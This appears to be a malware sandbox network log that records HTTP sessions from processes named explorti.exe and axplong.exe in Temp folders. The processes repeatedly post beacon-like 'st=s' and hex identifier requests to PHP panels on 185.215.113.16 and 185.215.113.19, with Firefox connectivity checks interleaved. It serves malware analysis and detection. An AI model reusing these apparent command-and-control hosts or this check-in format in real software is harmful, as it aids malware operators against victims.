Jul 26, 2024 10:37:50.369961023 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 10:37:51.131536961 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.6	49941	185.215.113.19	80	7716	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 10:37:50.575550079 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 10:37:51.314423084 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 10:37:51.315459967 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 26, 2024 10:37:51.562932014 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.6	49942	185.215.113.16	80	4876	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 10:37:51.141357899 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Jul 26, 2024 10:37:51.912013054 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.6	49943	185.215.113.19	80	7716	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 10:37:51.686598063 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 10:37:52.477668047 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 10:37:52.478864908 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 26, 2024 10:37:52.727983952 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.6	49944	185.215.113.16	80	4876	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 10:37:52.319935083 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 10:37:53.083904028 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.6	49945	185.215.113.19	80	7716	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 10:37:52.844909906 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 10:37:53.773503065 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 10:37:53.797339916 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 26, 2024 10:37:54.391938925 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Jul 26, 2024 10:37:54.394982100 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.6	49946	185.215.113.16	80	4876	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 10:37:53.095381975 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Jul 26, 2024 10:37:53.877098083 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.6	49948	185.215.113.16	80	4876	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 10:37:53.998609066 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 10:37:54.875410080 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.6	49949	185.215.113.19	80	7716	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 10:37:54.737483025 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 10:37:55.587838888 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 10:37:55.588757992 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 26, 2024 10:37:55.868307114 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.6	49950	185.215.113.16	80	4876	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 10:37:54.885195017 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Jul 26, 2024 10:37:55.728389978 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.6	49951	185.215.113.16	80	4876	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 10:37:55.842696905 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 10:37:56.658854008 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.6	49952	185.215.113.19	80	7716	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 10:37:56.194915056 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 10:37:56.973117113 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 10:37:56.978405952 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 26, 2024 10:37:57.237596989 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.6	49953	34.107.221.82	80	3132	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 10:37:56.336509943 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.6	49954	185.215.113.16	80	4876	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 10:37:56.669092894 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Jul 26, 2024 10:37:57.442883968 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Jul 26, 2024 10:41:59.055097103 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 10:41:59.800503016 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:41:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.6	49956	34.107.221.82	80	3132	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 10:37:57.007822037 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.6	49957	34.107.221.82	80	3132	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 10:37:57.269349098 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Jul 26, 2024 10:37:57.743065119 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Thu, 25 Jul 2024 10:11:10 GMT Age: 80807 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Jul 26, 2024 10:37:59.946233034 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Jul 26, 2024 10:38:00.048039913 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Thu, 25 Jul 2024 10:11:10 GMT Age: 80810 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Jul 26, 2024 10:38:01.329730988 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Jul 26, 2024 10:38:01.428558111 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Thu, 25 Jul 2024 10:11:10 GMT Age: 80811 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Jul 26, 2024 10:38:01.723082066 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Jul 26, 2024 10:38:01.823174953 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Thu, 25 Jul 2024 10:11:10 GMT Age: 80811 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Jul 26, 2024 10:38:10.635102987 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Jul 26, 2024 10:38:10.734101057 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Thu, 25 Jul 2024 10:11:10 GMT Age: 80820 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Jul 26, 2024 10:38:11.689836979 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Jul 26, 2024 10:38:11.819984913 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Thu, 25 Jul 2024 10:11:10 GMT Age: 80821 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Jul 26, 2024 10:38:11.823926926 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Jul 26, 2024 10:38:11.936145067 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Thu, 25 Jul 2024 10:11:10 GMT Age: 80821 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
